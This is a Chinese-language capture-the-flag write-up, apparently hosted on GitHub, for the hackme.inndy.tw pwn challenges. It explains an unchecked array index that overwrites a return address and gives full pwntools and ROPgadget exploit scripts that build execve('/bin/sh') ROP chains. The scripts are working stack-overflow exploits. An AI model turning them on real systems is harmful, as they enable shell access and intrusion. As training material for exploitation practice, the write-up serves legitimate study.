Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
339 lines (268 sloc) 7.86 KB

Pwn

IDA, pwntools & gdb-peda are your friends.

catflag

连接,输入 cat flag

homework

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[1024];

void call_me_maybe()
{
    system("/bin/sh");
}

void unbuffer_io()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void set_timeout()
{
    alarm(120);
}

void ask_name()
{
    printf("What's your name? ");
    gets(name);
}

void say_goodbye()
{
    printf("Goodbye, %s\n", name);
}

void run_program()
{
    int arr[10], i, v, act;

    for(i = 0; i < 10; i++)
        arr[i] = 0;

    while(1) {
        puts("0 > exit");
        puts("1 > edit number");
        puts("2 > show number");
        puts("3 > sum");
        puts("4 > dump all numbers");
        printf(" > ");
        scanf("%d", &act);

        switch(act) {
            case 0:
                return;
            case 1:
                printf("Index to edit: ");
                scanf("%d", &i);
                printf("How many? ");
                scanf("%d", &v);
                arr[i] = v;
                break;
            case 2:
                printf("Index to show: ");
                scanf("%d", &i);
                printf("arr[%d] is %d\n", i, arr[i]);
                break;
            case 3:
                v = 0;
                for(i = 0; i < 10; i++)
                    v += arr[i];
                printf("Sum is %d\n", v);
                break;
            case 4:
                for(i = 0; i < 10; i++)
                    printf("arr[%d] is %d\n", i, arr[i]);
                break;
        }
    }
}

int main()
{
    set_timeout();
    unbuffer_io();
    ask_name();
    run_program();
    say_goodbye();
    return 0;
}

可以注意到,arr[i]i 没有做限制,而 arr[] 在栈上。所以我们可以直接修改 run_program() 的返回地址,到 call_me_maybe()ask_name()name[] 在 bss 段上(全局变量),所以搞事不怎么方便。

objdump -d homework 结果可知 call_me_maybe() 地址为 0x080485fb,用 IDA 反编译可以看到:

int arr[10]; // [esp+14h] [ebp-34h]

所以 arr 起始到返回地址距离为 0x34 + 0x4 = 0x38int 大小为 4 字节,所以最终 i = 0x38 / 4 = 14

所以最终,姓名随便输,用 edit number 编辑,index 为 14,值为 134514171(目标函数地址的十进制值),然后 exit,就拿到 shell 啦!

的确这是很多 C 语言初学者都会犯的错误,这个 NXCanary 都救不了。

ROP

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int overflow()
{
  char v1; // [esp+Ch] [ebp-Ch]

  return gets(&v1);
}

很明显的 gets() 缓冲区溢出,也只有 NX 防护,但是是静态链接的。

ROPgadget 试一下。

ROPgadget --binary rop --ropchain

结果构造 ROP 链的脚本都帮我们写好了。

计算偏移为 0xC + 0x4 = 16。脚本稍作修改。Payload:

#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack
from pwn import process, remote

# Padding goes here
p = ' '*16

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

print p

#rop = process("./rop")
rop = remote("hackme.inndy.tw", 7704)

rop.sendline(p)
rop.interactive()

ROP2

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+5h] [ebp-33h]
  int v5; // [esp+9h] [ebp-2Fh]
  int v6; // [esp+Dh] [ebp-2Bh]
  int v7; // [esp+11h] [ebp-27h]
  int v8; // [esp+15h] [ebp-23h]
  int v9; // [esp+19h] [ebp-1Fh]
  int v10; // [esp+1Dh] [ebp-1Bh]
  int v11; // [esp+21h] [ebp-17h]
  int v12; // [esp+25h] [ebp-13h]
  int v13; // [esp+29h] [ebp-Fh]
  __int16 v14; // [esp+2Dh] [ebp-Bh]
  char v15; // [esp+2Fh] [ebp-9h]

  alarm(0x1Eu);
  v4 = ' naC';
  v5 = ' uoy';
  v6 = 'vlos';
  v7 = 'ht e';
  v8 = '\n?si';
  v9 = 'eviG';
  v10 = ' em ';
  v11 = 'ruoy';
  v12 = 'por ';
  v13 = 'iahc';
  v14 = ':n';
  v15 = 0;
  syscall(4, 1, &v4, 42);
  overflow();
  return 0;
}

注意到似乎 IDA 没能够识别出 v4v14 的变量类型。调整之后是这个样子的:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[43]; // [esp+5h] [ebp-33h]

  alarm(0x1Eu);
  strcpy(v4, "Can you solve this?\nGive me your ropchain:");
  syscall(4, 1, v4, 42);
  overflow();
  return 0;
}

syscall() 是什么函数?查 man 可以知道调用方法。第 7 行大意为 write(1, v4, 42)

看一下 overflow()

int overflow()
{
  char v1; // [esp+Ch] [ebp-Ch]

  syscall(3, 0, &v1, 1024);
  return syscall(4, 1, &v1, 1024);
}

显然,该程序尝试读入 1024 字节数据到 v1,然后原样输出,但是显然 v1 是装不下的。首先算偏移 0xC + 0x4 = 16

这一次没法直接用 ROPgadget 构造 ropchain 了。考虑最终使用 syscall() 执行命令,可知 execve() 的编号为 11,所以我们要想办法运行 syscall(11, "/bin/sh", 0, 0)。文件中没有字符串 "/bin/sh",但是 bss 段中有一块很大的 some_buffer。所以我们的思路是:

  • 首先利用 syscall() 调用 read,从标准输入读入 /bin/sh,写入 some_buffer。执行完之后呢?没事,再执行一遍 overflow() 就行。
  • 然后利用 syscall() 调用 execve,获取 shell。

所以我们构造的 payload 大致如下:

16 * 'a' + syscall_plt + overflow_plt + 3 + 0 + some_buffer + 7

然后输入 /bin/sh,之后

16 * 'a' + syscall_plt + 4 * 'a' + 11 + some_buffer + 0 + 0

Payload:

from pwn import *

context.log_level = "debug"

# p = process("./rop2")
p = remote("hackme.inndy.tw", 7703)

syscall_plt = 0x8048320
overflow_plt = 0x08048454
some_buffer = 0x0804a040

payload1 = flat([16 * 'a', syscall_plt, overflow_plt, 3, 0, some_buffer, 7])
payload2 = flat([16 * 'a', syscall_plt, 4 * 'a', 11, some_buffer, 0, 0])

p.sendafter(":", payload1)
p.send("/bin/sh")
p.sendafter(":", payload2)

p.interactive()

toooomuch

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

You can’t perform that action at this time.